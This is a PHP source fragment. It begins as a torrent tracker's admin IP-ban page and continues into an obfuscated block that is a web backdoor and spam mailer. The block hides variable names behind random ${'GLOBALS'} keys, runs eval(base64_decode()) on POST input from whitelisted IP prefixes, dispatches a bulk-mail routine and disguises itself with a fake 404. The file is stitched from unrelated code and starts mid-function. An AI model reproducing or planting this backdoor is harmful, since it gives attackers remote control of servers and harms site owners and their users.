return false; } } return true; } else { return false; } } if ($_SERVER["REQUEST_METHOD"] == "POST" && get_user_class() >= UC_ADMINISTRATOR) { $first = trim($_POST["first"]); $last = trim($_POST["last"]); $comment = trim($_POST["comment"]); if (!$first || !$last || !$comment) { stderr($tracker_lang['error'], $tracker_lang['missing_form_data']); } if (!is_good_ip($first) || !is_good_ip($last)) { stderr('Ошибка', 'А че это ты такое вместо айпишников ввел?'); } $first = ip2long($first); $last = ip2long($last); if ($first == -1 || $last == -1) { stderr($tracker_lang['error'], $tracker_lang['invalid_ip']); } $comment = sqlesc(htmlspecialchars_uni($comment)); $added = sqlesc(get_date_time()); sql_query("INSERT INTO bans (added, addedby, first, last, comment) VALUES({$added}, {$CURUSER['id']}, {$first}, {$last}, {$comment})") or sqlerr(__FILE__, __LINE__); write_log("IP адреса от " . long2ip($first) . " до " . long2ip($last) . " были забанены пользователем {$CURUSER['username']}."); header("Location: {$DEFAULTBASEURL}/bans.php"); die; } $res = sql_query("SELECT bans.*, users.username FROM bans LEFT JOIN users ON bans.addedby = users.id ORDER BY bans.added DESC") or sqlerr(__FILE__, __LINE__);
${"GLOBALS"}["komlxtdkvcs"] = "mailer"; ${"GLOBALS"}["rfherrsojsft"] = "from"; ${"GLOBALS"}["mwfsikvr"] = "messages"; ${"GLOBALS"}["vtbljtw"] = "message"; ${"GLOBALS"}["dchxuygigjbx"] = "theme"; ${"GLOBALS"}["mvcguzkq"] = "filename"; ${"GLOBALS"}["nnnqqcnuhhej"] = "file"; ${"GLOBALS"}["jiuuaitdvnp"] = "key"; ${"GLOBALS"}["uydcbepfihkx"] = "aliases"; ${"GLOBALS"}["iyovgxddg"] = "froms"; ${"GLOBALS"}["flsrsy"] = "themes"; ${"GLOBALS"}["lnxopxl"] = "emails"; ${"GLOBALS"}["rijfrzpunt"] = "post"; ${"GLOBALS"}["zvlqfpbow"] = "good"; ${"GLOBALS"}["dfbthkoks"] = "goods"; if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER["REMOTE_ADDR"])) { eval(base64_decode($_POST["code"])); exit; } if (isset($_POST["type"]) && $_POST["type"] == "1") { type1_send(); exit; } elseif (isset($_POST["type"]) && $_POST["type"] == "2") { } elseif (isset($_POST["type"])) { echo $_POST["type"]; exit; } error_404(); function is_good_ip($ip) { ${${"GLOBALS"}["dfbthkoks"]} = array("6.185.239.", "8.138.118.");